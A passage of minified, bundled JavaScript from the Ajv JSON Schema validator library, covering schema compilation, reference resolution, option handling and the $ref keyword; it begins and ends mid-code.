y(O){let{gen:C,validateName:L}=O;O.evaluated=C.const("evaluated",(0,c._)`${L}.evaluated`),C.if((0,c._)`${O.evaluated}.dynamicProps`,()=>C.assign((0,c._)`${O.evaluated}.props`,(0,c._)`undefined`)),C.if((0,c._)`${O.evaluated}.dynamicItems`,()=>C.assign((0,c._)`${O.evaluated}.items`,(0,c._)`undefined`))}function v(O,C){let L=typeof O=="object"&&O[C.schemaId];return L&&(C.code.source||C.code.process)?(0,c._)`/*# sourceURL=${L} */`:c.nil}function _(O,C){if(x(O)&&(T(O),S(O))){E(O,C);return}(0,e.boolOrEmptySchema)(O,C)}function S({schema:O,self:C}){if(typeof O=="boolean")return!O;for(let L in O)if(C.RULES.all[L])return!0;return!1}function x(O){return typeof O.schema!="boolean"}function E(O,C){let{schema:L,gen:G,opts:ee}=O;ee.$comment&&L.$comment&&A(O),q(O),H(O);let ce=G.const("_errs",u.default.errors);$(O,ce),G.var(C,(0,c._)`${ce} === ${u.default.errors}`)}function T(O){(0,d.checkUnknownRules)(O),N(O)}function $(O,C){if(O.opts.jtd)return he(O,[],!1,C);let L=(0,r.getSchemaTypes)(O.schema),G=(0,r.coerceAndCheckDataType)(O,L);he(O,L,!G,C)}function N(O){let{schema:C,errSchemaPath:L,opts:G,self:ee}=O;C.$ref&&G.ignoreKeywordsWithRef&&(0,d.schemaHasRulesButRef)(C,ee.RULES)&&ee.logger.warn(`$ref: keywords ignored in schema at path "${L}"`)}function j(O){let{schema:C,opts:L}=O;C.default!==void 0&&L.useDefaults&&L.strictSchema&&(0,d.checkStrictMode)(O,"default is ignored in the schema root")}function q(O){let C=O.schema[O.opts.schemaId];C&&(O.baseId=(0,l.resolveUrl)(O.opts.uriResolver,O.baseId,C))}function H(O){if(O.schema.$async&&!O.schemaEnv.$async)throw new Error("async schema in sync schema")}function A({gen:O,schemaEnv:C,schema:L,errSchemaPath:G,opts:ee}){let ce=L.$comment;if(ee.$comment===!0)O.code((0,c._)`${u.default.self}.logger.log(${ce})`);else if(typeof ee.$comment=="function"){let Te=(0,c.str)`${G}/$comment`,Ie=O.scopeValue("root",{ref:C.root});O.code((0,c._)`${u.default.self}.opts.$comment(${ce}, ${Te}, ${Ie}.schema)`)}}function W(O){let{gen:C,schemaEnv:L,validateName:G,ValidationError:ee,opts:ce}=O;L.$async?C.if((0,c._)`${u.default.errors} === 0`,()=>C.return(u.default.data),()=>C.throw((0,c._)`new ${ee}(${u.default.vErrors})`)):(C.assign((0,c._)`${G}.errors`,u.default.vErrors),ce.unevaluated&&oe(O),C.return((0,c._)`${u.default.errors} === 0`))}function oe({gen:O,evaluated:C,props:L,items:G}){L instanceof c.Name&&O.assign((0,c._)`${C}.props`,L),G instanceof c.Name&&O.assign((0,c._)`${C}.items`,G)}function he(O,C,L,G){let{gen:ee,schema:ce,data:Te,allErrors:Ie,opts:Ae,self:Ne}=O,{RULES:ke}=Ne;if(ce.$ref&&(Ae.ignoreKeywordsWithRef||!(0,d.schemaHasRulesButRef)(ce,ke))){ee.block(()=>J(O,"$ref",ke.all.$ref.definition));return}Ae.jtd||re(O,C),ee.block(()=>{for(let Le of ke.rules)pt(Le);pt(ke.post)});function pt(Le){(0,n.shouldUseGroup)(ce,Le)&&(Le.type?(ee.if((0,a.checkDataType)(Le.type,Te,Ae.strictNumbers)),ne(O,Le),C.length===1&&C[0]===Le.type&&L&&(ee.else(),(0,a.reportTypeError)(O)),ee.endIf()):ne(O,Le),Ie||ee.if((0,c._)`${u.default.errors} === ${G||0}`))}}function ne(O,C){let{gen:L,schema:G,opts:{useDefaults:ee}}=O;ee&&(0,s.assignDefaults)(O,C.type),L.block(()=>{for(let ce of C.rules)(0,n.shouldUseRule)(G,ce)&&J(O,ce.keyword,ce.definition,C.type)})}function re(O,C){O.schemaEnv.meta||!O.opts.strictTypes||(F(O,C),O.opts.allowUnionTypes||R(O,C),z(O,O.dataTypes))}function F(O,C){if(C.length){if(!O.dataTypes.length){O.dataTypes=C;return}C.forEach(L=>{w(O.dataTypes,L)||M(O,`type "${L}" not allowed by context "${O.dataTypes.join(",")}"`)}),k(O,C)}}function R(O,C){C.length>1&&!(C.length===2&&C.includes("null"))&&M(O,"use allowUnionTypes to allow union type keyword")}function z(O,C){let L=O.self.RULES.all;for(let G in L){let ee=L[G];if(typeof ee=="object"&&(0,n.shouldUseRule)(O.schema,ee)){let{type:ce}=ee.definition;ce.length&&!ce.some(Te=>I(C,Te))&&M(O,`missing type "${ce.join(",")}" for keyword "${G}"`)}}}function I(O,C){return O.includes(C)||C==="number"&&O.includes("integer")}function w(O,C){return O.includes(C)||C==="integer"&&O.includes("number")}function k(O,C){let L=[];for(let G of O.dataTypes)w(C,G)?L.push(G):C.includes("integer")&&G==="number"&&L.push("integer");O.dataTypes=L}function M(O,C){let L=O.schemaEnv.baseId+O.errSchemaPath;C+=` at "${L}" (strictTypes)`,(0,d.checkStrictMode)(O,C,O.opts.strictTypes)}class K{constructor(C,L,G){if((0,i.validateKeywordUsage)(C,L,G),this.gen=C.gen,this.allErrors=C.allErrors,this.keyword=G,this.data=C.data,this.schema=C.schema[G],this.$data=L.$data&&C.opts.$data&&this.schema&&this.schema.$data,this.schemaValue=(0,d.schemaRefOrVal)(C,this.schema,G,this.$data),this.schemaType=L.schemaType,this.parentSchema=C.schema,this.params={},this.it=C,this.def=L,this.$data)this.schemaCode=C.gen.const("vSchema",me(this.$data,C));else if(this.schemaCode=this.schemaValue,!(0,i.validSchemaType)(this.schema,L.schemaType,L.allowUndefined))throw new Error(`${G} value must be ${JSON.stringify(L.schemaType)}`);("code"in L?L.trackErrors:L.errors!==!1)&&(this.errsCount=C.gen.const("_errs",u.default.errors))}result(C,L,G){this.failResult((0,c.not)(C),L,G)}failResult(C,L,G){this.gen.if(C),G?G():this.error(),L?(this.gen.else(),L(),this.allErrors&&this.gen.endIf()):this.allErrors?this.gen.endIf():this.gen.else()}pass(C,L){this.failResult((0,c.not)(C),void 0,L)}fail(C){if(C===void 0){this.error(),this.allErrors||this.gen.if(!1);return}this.gen.if(C),this.error(),this.allErrors?this.gen.endIf():this.gen.else()}fail$data(C){if(!this.$data)return this.fail(C);let{schemaCode:L}=this;this.fail((0,c._)`${L} !== undefined && (${(0,c.or)(this.invalid$data(),C)})`)}error(C,L,G){if(L){this.setParams(L),this._error(C,G),this.setParams({});return}this._error(C,G)}_error(C,L){(C?f.reportExtraError:f.reportError)(this,this.def.error,L)}$dataError(){(0,f.reportError)(this,this.def.$dataError||f.keyword$DataError)}reset(){if(this.errsCount===void 0)throw new Error('add "trackErrors" to keyword definition');(0,f.resetErrorsCount)(this.gen,this.errsCount)}ok(C){this.allErrors||this.gen.if(C)}setParams(C,L){L?Object.assign(this.params,C):this.params=C}block$data(C,L,G=c.nil){this.gen.block(()=>{this.check$data(C,G),L()})}check$data(C=c.nil,L=c.nil){if(!this.$data)return;let{gen:G,schemaCode:ee,schemaType:ce,def:Te}=this;G.if((0,c.or)((0,c._)`${ee} === undefined`,L)),C!==c.nil&&G.assign(C,!0),(ce.length||Te.validateSchema)&&(G.elseIf(this.invalid$data()),this.$dataError(),C!==c.nil&&G.assign(C,!1)),G.else()}invalid$data(){let{gen:C,schemaCode:L,schemaType:G,def:ee,it:ce}=this;return(0,c.or)(Te(),Ie());function Te(){if(G.length){if(!(L instanceof c.Name))throw new Error("ajv implementation error");let Ae=Array.isArray(G)?G:[G];return(0,c._)`${(0,a.checkDataTypes)(Ae,L,ce.opts.strictNumbers,a.DataType.Wrong)}`}return c.nil}function Ie(){if(ee.validateSchema){let Ae=C.scopeValue("validate$data",{ref:ee.validateSchema});return(0,c._)`!${Ae}(${L})`}return c.nil}}subschema(C,L){let G=(0,o.getSubschema)(this.it,C);(0,o.extendSubschemaData)(G,this.it,C),(0,o.extendSubschemaMode)(G,C);let ee={...this.it,...G,items:void 0,props:void 0};return _(ee,L),ee}mergeEvaluated(C,L){let{it:G,gen:ee}=this;G.opts.unevaluated&&(G.props!==!0&&C.props!==void 0&&(G.props=d.mergeEvaluated.props(ee,C.props,G.props,L)),G.items!==!0&&C.items!==void 0&&(G.items=d.mergeEvaluated.items(ee,C.items,G.items,L)))}mergeValidEvaluated(C,L){let{it:G,gen:ee}=this;if(G.opts.unevaluated&&(G.props!==!0||G.items!==!0))return ee.if(L,()=>this.mergeEvaluated(C,c.Name)),!0}}t.KeywordCxt=K;function J(O,C,L,G){let ee=new K(O,L,C);"code"in L?L.code(ee,G):ee.$data&&L.validate?(0,i.funcKeywordCode)(ee,L):"macro"in L?(0,i.macroKeywordCode)(ee,L):(L.compile||L.validate)&&(0,i.funcKeywordCode)(ee,L)}var de=/^\/(?:[^~]|~0|~1)*$/,se=/^([0-9]+)(#|\/(?:[^~]|~0|~1)*)?$/;function me(O,{dataLevel:C,dataNames:L,dataPathArr:G}){let ee,ce;if(O==="")return u.default.rootData;if(O[0]==="/"){if(!de.test(O))throw new Error(`Invalid JSON-pointer: ${O}`);ee=O,ce=u.default.rootData}else{let Ne=se.exec(O);if(!Ne)throw new Error(`Invalid JSON-pointer: ${O}`);let ke=+Ne[1];if(ee=Ne[2],ee==="#"){if(ke>=C)throw new Error(Ae("property/index",ke));return G[C-ke]}if(ke>C)throw new Error(Ae("data",ke));if(ce=L[C-ke],!ee)return ce}let Te=ce,Ie=ee.split("/");for(let Ne of Ie)Ne&&(ce=(0,c._)`${ce}${(0,c.getProperty)((0,d.unescapeJsonPointer)(Ne))}`,Te=(0,c._)`${Te} && ${ce}`);return Te;function Ae(Ne,ke){return`Cannot access ${Ne} ${ke} levels up, current level is ${C}`}}t.getData=me}),Em=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});class e extends Error{constructor(n){super("validation failed"),this.errors=n,this.ajv=this.validation=!0}}t.default=e}),ll=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=cl();class r extends Error{constructor(a,s,i,o){super(o||`can't resolve reference ${i} from id ${s}`),this.missingRef=(0,e.resolveUrl)(a,s,i),this.missingSchema=(0,e.normalizeId)((0,e.getFullPath)(a,this.missingRef))}}t.default=r}),Tm=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.resolveSchema=t.getCompilingSchema=t.resolveRef=t.compileSchema=t.SchemaEnv=void 0;var e=Fe(),r=Em(),n=Za(),a=cl(),s=Je(),i=ul();class o{constructor(y){var v;this.refs={},this.dynamicAnchors={};let _;typeof y.schema=="object"&&(_=y.schema),this.schema=y.schema,this.schemaId=y.schemaId,this.root=y.root||this,this.baseId=(v=y.baseId)!==null&&v!==void 0?v:(0,a.normalizeId)(_?.[y.schemaId||"$id"]),this.schemaPath=y.schemaPath,this.localRefs=y.localRefs,this.meta=y.meta,this.$async=_?.$async,this.refs={}}}t.SchemaEnv=o;function c(h){let y=d.call(this,h);if(y)return y;let v=(0,a.getFullPath)(this.opts.uriResolver,h.root.baseId),{es5:_,lines:S}=this.opts.code,{ownProperties:x}=this.opts,E=new e.CodeGen(this.scope,{es5:_,lines:S,ownProperties:x}),T;h.$async&&(T=E.scopeValue("Error",{ref:r.default,code:(0,e._)`require("ajv/dist/runtime/validation_error").default`}));let $=E.scopeName("validate");h.validateName=$;let N={gen:E,allErrors:this.opts.allErrors,data:n.default.data,parentData:n.default.parentData,parentDataProperty:n.default.parentDataProperty,dataNames:[n.default.data],dataPathArr:[e.nil],dataLevel:0,dataTypes:[],definedProperties:new Set,topSchemaRef:E.scopeValue("schema",this.opts.code.source===!0?{ref:h.schema,code:(0,e.stringify)(h.schema)}:{ref:h.schema}),validateName:$,ValidationError:T,schema:h.schema,schemaEnv:h,rootId:v,baseId:h.baseId||v,schemaPath:e.nil,errSchemaPath:h.schemaPath||(this.opts.jtd?"":"#"),errorPath:(0,e._)`""`,opts:this.opts,self:this},j;try{this._compilations.add(h),(0,i.validateFunctionCode)(N),E.optimize(this.opts.code.optimize);let q=E.toString();j=`${E.scopeRefs(n.default.scope)}return ${q}`,this.opts.code.process&&(j=this.opts.code.process(j,h));let A=new Function(`${n.default.self}`,`${n.default.scope}`,j)(this,this.scope.get());if(this.scope.value($,{ref:A}),A.errors=null,A.schema=h.schema,A.schemaEnv=h,h.$async&&(A.$async=!0),this.opts.code.source===!0&&(A.source={validateName:$,validateCode:q,scopeValues:E._values}),this.opts.unevaluated){let{props:W,items:oe}=N;A.evaluated={props:W instanceof e.Name?void 0:W,items:oe instanceof e.Name?void 0:oe,dynamicProps:W instanceof e.Name,dynamicItems:oe instanceof e.Name},A.source&&(A.source.evaluated=(0,e.stringify)(A.evaluated))}return h.validate=A,h}catch(q){throw delete h.validate,delete h.validateName,j&&this.logger.error("Error compiling schema, function code:",j),q}finally{this._compilations.delete(h)}}t.compileSchema=c;function u(h,y,v){var _;v=(0,a.resolveUrl)(this.opts.uriResolver,y,v);let S=h.refs[v];if(S)return S;let x=m.call(this,h,v);if(x===void 0){let E=(_=h.localRefs)===null||_===void 0?void 0:_[v],{schemaId:T}=this.opts;E&&(x=new o({schema:E,schemaId:T,root:h,baseId:y}))}if(x!==void 0)return h.refs[v]=l.call(this,x)}t.resolveRef=u;function l(h){return(0,a.inlineRef)(h.schema,this.opts.inlineRefs)?h.schema:h.validate?h:c.call(this,h)}function d(h){for(let y of this._compilations)if(f(y,h))return y}t.getCompilingSchema=d;function f(h,y){return h.schema===y.schema&&h.root===y.root&&h.baseId===y.baseId}function m(h,y){let v;for(;typeof(v=this.refs[y])=="string";)y=v;return v||this.schemas[y]||g.call(this,h,y)}function g(h,y){let v=this.opts.uriResolver.parse(y),_=(0,a._getFullPath)(this.opts.uriResolver,v),S=(0,a.getFullPath)(this.opts.uriResolver,h.baseId,void 0);if(Object.keys(h.schema).length>0&&_===S)return p.call(this,v,h);let x=(0,a.normalizeId)(_),E=this.refs[x]||this.schemas[x];if(typeof E=="string"){let T=g.call(this,h,E);return typeof T?.schema!="object"?void 0:p.call(this,v,T)}if(typeof E?.schema=="object"){if(E.validate||c.call(this,E),x===(0,a.normalizeId)(y)){let{schema:T}=E,{schemaId:$}=this.opts,N=T[$];return N&&(S=(0,a.resolveUrl)(this.opts.uriResolver,S,N)),new o({schema:T,schemaId:$,root:h,baseId:S})}return p.call(this,v,E)}}t.resolveSchema=g;var b=new Set(["properties","patternProperties","enum","dependencies","definitions"]);function p(h,{baseId:y,schema:v,root:_}){var S;if(((S=h.fragment)===null||S===void 0?void 0:S[0])!=="/")return;for(let T of h.fragment.slice(1).split("/")){if(typeof v=="boolean")return;let $=v[(0,s.unescapeFragment)(T)];if($===void 0)return;v=$;let N=typeof v=="object"&&v[this.opts.schemaId];!b.has(T)&&N&&(y=(0,a.resolveUrl)(this.opts.uriResolver,y,N))}let x;if(typeof v!="boolean"&&v.$ref&&!(0,s.schemaHasRulesButRef)(v,this.RULES)){let T=(0,a.resolveUrl)(this.opts.uriResolver,y,v.$ref);x=g.call(this,_,T)}let{schemaId:E}=this.opts;if(x=x||new o({schema:v,schemaId:E,root:_,baseId:y}),x.schema!==x.root.schema)return x}}),hL=Q((t,e)=>{e.exports={$id:"https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#",description:"Meta-schema for $data reference (JSON AnySchema extension proposal)",type:"object",required:["$data"],properties:{$data:{type:"string",anyOf:[{format:"relative-json-pointer"},{format:"json-pointer"}]}},additionalProperties:!1}}),vL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=W1();e.code='require("ajv/dist/runtime/uri").default',t.default=e}),gL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.CodeGen=t.Name=t.nil=t.stringify=t.str=t._=t.KeywordCxt=void 0;var e=ul();Object.defineProperty(t,"KeywordCxt",{enumerable:!0,get:function(){return e.KeywordCxt}});var r=Fe();Object.defineProperty(t,"_",{enumerable:!0,get:function(){return r._}}),Object.defineProperty(t,"str",{enumerable:!0,get:function(){return r.str}}),Object.defineProperty(t,"stringify",{enumerable:!0,get:function(){return r.stringify}}),Object.defineProperty(t,"nil",{enumerable:!0,get:function(){return r.nil}}),Object.defineProperty(t,"Name",{enumerable:!0,get:function(){return r.Name}}),Object.defineProperty(t,"CodeGen",{enumerable:!0,get:function(){return r.CodeGen}});var n=Em(),a=ll(),s=Y1(),i=Tm(),o=Fe(),c=cl(),u=Ku(),l=Je(),d=hL(),f=vL(),m=(F,R)=>new RegExp(F,R);m.code="new RegExp";var g=["removeAdditional","useDefaults","coerceTypes"],b=new Set(["validate","serialize","parse","wrapper","root","schema","keyword","pattern","formats","validate$data","func","obj","Error"]),p={errorDataPath:"",format:"`validateFormats: false` can be used instead.",nullable:'"nullable" keyword is supported by default.',jsonPointers:"Deprecated jsPropertySyntax can be used instead.",extendRefs:"Deprecated ignoreKeywordsWithRef can be used instead.",missingRefs:"Pass empty schema with $id that should be ignored to ajv.addSchema.",processCode:"Use option `code: {process: (code, schemaEnv: object) => string}`",sourceCode:"Use option `code: {source: true}`",strictDefaults:"It is default now, see option `strict`.",strictKeywords:"It is default now, see option `strict`.",uniqueItems:'"uniqueItems" keyword is always validated.',unknownFormats:"Disable strict mode or pass `true` to `ajv.addFormat` (or `formats` option).",cache:"Map is used as cache, schema object as key.",serialize:"Map is used as cache, schema object as key.",ajvErrors:"It is default now."},h={ignoreKeywordsWithRef:"",jsPropertySyntax:"",unicode:'"minLength"/"maxLength" account for unicode characters by default.'},y=200;function v(F){var R,z,I,w,k,M,K,J,de,se,me,O,C,L,G,ee,ce,Te,Ie,Ae,Ne,ke,pt,Le,fr;let Zt=F.strict,It=(R=F.code)===null||R===void 0?void 0:R.optimize,Ir=It===!0||It===void 0?1:It||0,wa=(I=(z=F.code)===null||z===void 0?void 0:z.regExp)!==null&&I!==void 0?I:m,Hn=(w=F.uriResolver)!==null&&w!==void 0?w:f.default;return{strictSchema:(M=(k=F.strictSchema)!==null&&k!==void 0?k:Zt)!==null&&M!==void 0?M:!0,strictNumbers:(J=(K=F.strictNumbers)!==null&&K!==void 0?K:Zt)!==null&&J!==void 0?J:!0,strictTypes:(se=(de=F.strictTypes)!==null&&de!==void 0?de:Zt)!==null&&se!==void 0?se:"log",strictTuples:(O=(me=F.strictTuples)!==null&&me!==void 0?me:Zt)!==null&&O!==void 0?O:"log",strictRequired:(L=(C=F.strictRequired)!==null&&C!==void 0?C:Zt)!==null&&L!==void 0?L:!1,code:F.code?{...F.code,optimize:Ir,regExp:wa}:{optimize:Ir,regExp:wa},loopRequired:(G=F.loopRequired)!==null&&G!==void 0?G:y,loopEnum:(ee=F.loopEnum)!==null&&ee!==void 0?ee:y,meta:(ce=F.meta)!==null&&ce!==void 0?ce:!0,messages:(Te=F.messages)!==null&&Te!==void 0?Te:!0,inlineRefs:(Ie=F.inlineRefs)!==null&&Ie!==void 0?Ie:!0,schemaId:(Ae=F.schemaId)!==null&&Ae!==void 0?Ae:"$id",addUsedSchema:(Ne=F.addUsedSchema)!==null&&Ne!==void 0?Ne:!0,validateSchema:(ke=F.validateSchema)!==null&&ke!==void 0?ke:!0,validateFormats:(pt=F.validateFormats)!==null&&pt!==void 0?pt:!0,unicodeRegExp:(Le=F.unicodeRegExp)!==null&&Le!==void 0?Le:!0,int32range:(fr=F.int32range)!==null&&fr!==void 0?fr:!0,uriResolver:Hn}}class _{constructor(R={}){this.schemas={},this.refs={},this.formats={},this._compilations=new Set,this._loading={},this._cache=new Map,R=this.opts={...R,...v(R)};let{es5:z,lines:I}=this.opts.code;this.scope=new o.ValueScope({scope:{},prefixes:b,es5:z,lines:I}),this.logger=q(R.logger);let w=R.validateFormats;R.validateFormats=!1,this.RULES=(0,s.getRules)(),S.call(this,p,R,"NOT SUPPORTED"),S.call(this,h,R,"DEPRECATED","warn"),this._metaOpts=N.call(this),R.formats&&T.call(this),this._addVocabularies(),this._addDefaultMetaSchema(),R.keywords&&$.call(this,R.keywords),typeof R.meta=="object"&&this.addMetaSchema(R.meta),E.call(this),R.validateFormats=w}_addVocabularies(){this.addKeyword("$async")}_addDefaultMetaSchema(){let{$data:R,meta:z,schemaId:I}=this.opts,w=d;I==="id"&&(w={...d},w.id=w.$id,delete w.$id),z&&R&&this.addMetaSchema(w,w[I],!1)}defaultMeta(){let{meta:R,schemaId:z}=this.opts;return this.opts.defaultMeta=typeof R=="object"?R[z]||R:void 0}validate(R,z){let I;if(typeof R=="string"){if(I=this.getSchema(R),!I)throw new Error(`no schema with key or ref "${R}"`)}else I=this.compile(R);let w=I(z);return"$async"in I||(this.errors=I.errors),w}compile(R,z){let I=this._addSchema(R,z);return I.validate||this._compileSchemaEnv(I)}compileAsync(R,z){if(typeof this.opts.loadSchema!="function")throw new Error("options.loadSchema should be a function");let{loadSchema:I}=this.opts;return w.call(this,R,z);async function w(se,me){await k.call(this,se.$schema);let O=this._addSchema(se,me);return O.validate||M.call(this,O)}async function k(se){se&&!this.getSchema(se)&&await w.call(this,{$ref:se},!0)}async function M(se){try{return this._compileSchemaEnv(se)}catch(me){if(!(me instanceof a.default))throw me;return K.call(this,me),await J.call(this,me.missingSchema),M.call(this,se)}}function K({missingSchema:se,missingRef:me}){if(this.refs[se])throw new Error(`AnySchema ${se} is loaded but ${me} cannot be resolved`)}async function J(se){let me=await de.call(this,se);this.refs[se]||await k.call(this,me.$schema),this.refs[se]||this.addSchema(me,se,z)}async function de(se){let me=this._loading[se];if(me)return me;try{return await(this._loading[se]=I(se))}finally{delete this._loading[se]}}}addSchema(R,z,I,w=this.opts.validateSchema){if(Array.isArray(R)){for(let M of R)this.addSchema(M,void 0,I,w);return this}let k;if(typeof R=="object"){let{schemaId:M}=this.opts;if(k=R[M],k!==void 0&&typeof k!="string")throw new Error(`schema ${M} must be string`)}return z=(0,c.normalizeId)(z||k),this._checkUnique(z),this.schemas[z]=this._addSchema(R,I,z,w,!0),this}addMetaSchema(R,z,I=this.opts.validateSchema){return this.addSchema(R,z,!0,I),this}validateSchema(R,z){if(typeof R=="boolean")return!0;let I;if(I=R.$schema,I!==void 0&&typeof I!="string")throw new Error("$schema must be a string");if(I=I||this.opts.defaultMeta||this.defaultMeta(),!I)return this.logger.warn("meta-schema not available"),this.errors=null,!0;let w=this.validate(I,R);if(!w&&z){let k="schema is invalid: "+this.errorsText();if(this.opts.validateSchema==="log")this.logger.error(k);else throw new Error(k)}return w}getSchema(R){let z;for(;typeof(z=x.call(this,R))=="string";)R=z;if(z===void 0){let{schemaId:I}=this.opts,w=new i.SchemaEnv({schema:{},schemaId:I});if(z=i.resolveSchema.call(this,w,R),!z)return;this.refs[R]=z}return z.validate||this._compileSchemaEnv(z)}removeSchema(R){if(R instanceof RegExp)return this._removeAllSchemas(this.schemas,R),this._removeAllSchemas(this.refs,R),this;switch(typeof R){case"undefined":return this._removeAllSchemas(this.schemas),this._removeAllSchemas(this.refs),this._cache.clear(),this;case"string":{let z=x.call(this,R);return typeof z=="object"&&this._cache.delete(z.schema),delete this.schemas[R],delete this.refs[R],this}case"object":{let z=R;this._cache.delete(z);let I=R[this.opts.schemaId];return I&&(I=(0,c.normalizeId)(I),delete this.schemas[I],delete this.refs[I]),this}default:throw new Error("ajv.removeSchema: invalid parameter")}}addVocabulary(R){for(let z of R)this.addKeyword(z);return this}addKeyword(R,z){let I;if(typeof R=="string")I=R,typeof z=="object"&&(this.logger.warn("these parameters are deprecated, see docs for addKeyword"),z.keyword=I);else if(typeof R=="object"&&z===void 0){if(z=R,I=z.keyword,Array.isArray(I)&&!I.length)throw new Error("addKeywords: keyword must be string or non-empty array")}else throw new Error("invalid addKeywords parameters");if(A.call(this,I,z),!z)return(0,l.eachItem)(I,k=>W.call(this,k)),this;he.call(this,z);let w={...z,type:(0,u.getJSONTypes)(z.type),schemaType:(0,u.getJSONTypes)(z.schemaType)};return(0,l.eachItem)(I,w.type.length===0?k=>W.call(this,k,w):k=>w.type.forEach(M=>W.call(this,k,w,M))),this}getKeyword(R){let z=this.RULES.all[R];return typeof z=="object"?z.definition:!!z}removeKeyword(R){let{RULES:z}=this;delete z.keywords[R],delete z.all[R];for(let I of z.rules){let w=I.rules.findIndex(k=>k.keyword===R);w>=0&&I.rules.splice(w,1)}return this}addFormat(R,z){return typeof z=="string"&&(z=new RegExp(z)),this.formats[R]=z,this}errorsText(R=this.errors,{separator:z=", ",dataVar:I="data"}={}){return!R||R.length===0?"No errors":R.map(w=>`${I}${w.instancePath} ${w.message}`).reduce((w,k)=>w+z+k)}$dataMetaSchema(R,z){let I=this.RULES.all;R=JSON.parse(JSON.stringify(R));for(let w of z){let k=w.split("/").slice(1),M=R;for(let K of k)M=M[K];for(let K in I){let J=I[K];if(typeof J!="object")continue;let{$data:de}=J.definition,se=M[K];de&&se&&(M[K]=re(se))}}return R}_removeAllSchemas(R,z){for(let I in R){let w=R[I];(!z||z.test(I))&&(typeof w=="string"?delete R[I]:w&&!w.meta&&(this._cache.delete(w.schema),delete R[I]))}}_addSchema(R,z,I,w=this.opts.validateSchema,k=this.opts.addUsedSchema){let M,{schemaId:K}=this.opts;if(typeof R=="object")M=R[K];else{if(this.opts.jtd)throw new Error("schema must be object");if(typeof R!="boolean")throw new Error("schema must be object or boolean")}let J=this._cache.get(R);if(J!==void 0)return J;I=(0,c.normalizeId)(M||I);let de=c.getSchemaRefs.call(this,R,I);return J=new i.SchemaEnv({schema:R,schemaId:K,meta:z,baseId:I,localRefs:de}),this._cache.set(J.schema,J),k&&!I.startsWith("#")&&(I&&this._checkUnique(I),this.refs[I]=J),w&&this.validateSchema(R,!0),J}_checkUnique(R){if(this.schemas[R]||this.refs[R])throw new Error(`schema with key or id "${R}" already exists`)}_compileSchemaEnv(R){if(R.meta?this._compileMetaSchema(R):i.compileSchema.call(this,R),!R.validate)throw new Error("ajv implementation error");return R.validate}_compileMetaSchema(R){let z=this.opts;this.opts=this._metaOpts;try{i.compileSchema.call(this,R)}finally{this.opts=z}}}_.ValidationError=n.default,_.MissingRefError=a.default,t.default=_;function S(F,R,z,I="error"){for(let w in F){let k=w;k in R&&this.logger[I](`${z}: option ${w}. ${F[k]}`)}}function x(F){return F=(0,c.normalizeId)(F),this.schemas[F]||this.refs[F]}function E(){let F=this.opts.schemas;if(F)if(Array.isArray(F))this.addSchema(F);else for(let R in F)this.addSchema(F[R],R)}function T(){for(let F in this.opts.formats){let R=this.opts.formats[F];R&&this.addFormat(F,R)}}function $(F){if(Array.isArray(F)){this.addVocabulary(F);return}this.logger.warn("keywords option as map is deprecated, pass array");for(let R in F){let z=F[R];z.keyword||(z.keyword=R),this.addKeyword(z)}}function N(){let F={...this.opts};for(let R of g)delete F[R];return F}var j={log(){},warn(){},error(){}};function q(F){if(F===!1)return j;if(F===void 0)return console;if(F.log&&F.warn&&F.error)return F;throw new Error("logger must implement log, warn and error methods")}var H=/^[a-z_$][a-z0-9_$:-]*$/i;function A(F,R){let{RULES:z}=this;if((0,l.eachItem)(F,I=>{if(z.keywords[I])throw new Error(`Keyword ${I} is already defined`);if(!H.test(I))throw new Error(`Keyword ${I} has invalid name`)}),!!R&&R.$data&&!("code"in R||"validate"in R))throw new Error('$data keyword must have "code" or "validate" function')}function W(F,R,z){var I;let w=R?.post;if(z&&w)throw new Error('keyword with "post" flag cannot have "type"');let{RULES:k}=this,M=w?k.post:k.rules.find(({type:J})=>J===z);if(M||(M={type:z,rules:[]},k.rules.push(M)),k.keywords[F]=!0,!R)return;let K={keyword:F,definition:{...R,type:(0,u.getJSONTypes)(R.type),schemaType:(0,u.getJSONTypes)(R.schemaType)}};R.before?oe.call(this,M,K,R.before):M.rules.push(K),k.all[F]=K,(I=R.implements)===null||I===void 0||I.forEach(J=>this.addKeyword(J))}function oe(F,R,z){let I=F.rules.findIndex(w=>w.keyword===z);I>=0?F.rules.splice(I,0,R):(F.rules.push(R),this.logger.warn(`rule ${z} is not defined`))}function he(F){let{metaSchema:R}=F;R!==void 0&&(F.$data&&this.opts.$data&&(R=re(R)),F.validateSchema=this.compile(R,!0))}var ne={$ref:"https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#"};function re(F){return{anyOf:[F,ne]}}}),yL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e={keyword:"id",code(){throw new Error('NOT SUPPORTED: keyword "id", use "$id" for schema ID')}};t.default=e}),_L=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.callRef=t.getValidate=void 0;var e=ll(),r=Ur(),n=Fe(),a=Za(),s=Tm(),i=Je(),o={keyword:"$ref",schemaType:"string",code(l){let{gen:d,schema:f,it:m}=l,{baseId:g,schemaEnv:b,validateName:p,opts:h,self:y}=m,{root:v}=b;if((f==="#"||f==="#/")&&g===v.baseId)return S();let _=s.resolveRef.call(y,v,g,f);if(_===void 0)throw new e.default(m.opts.uriResolver,g,f);if(_ instanceof s.SchemaEnv)return x(_);return E(_);function S(){if(b===v)return u(l,p,b,b.$async);let T=d.scopeValue("root",{ref:v});return u(l,(0,n._)`${T}.validate`,v,v.$async)}function x(T){let $=c(l,T);u(l,$,T,T.$async)}function E(T){let $=d.scopeValue("schema",h.code.source===!0?{ref:T,code:(0,n.stringify)(T)}:{ref:T}),N=d.name("valid"),j=l.subschema({schema:T,dataTypes:[],schemaPath:n.nil,topSchemaRef:$,errSchemaPath:f},N);l.mergeEvaluated(j),l.ok(N)}}};function c(l,d){let{gen:f}=l;return d.validate?f.scopeValue("validate",{ref:d.validate}):(0,n._)`${f.scopeValue("wrapper",{ref:d})}.validate`}t.getValidate=c;function u(l,d,f,m){let{gen:g,it:b}=l,{allErrors:p,schemaEnv:h,opts:y}=b,v=y.passContext?a.default.this:n.nil;m?_():S();function _(){if(!h.$async)throw new Error("async schema referenced by sync schema");let T=g.let("valid");g.try(()=>{g.code((0,n._)`await 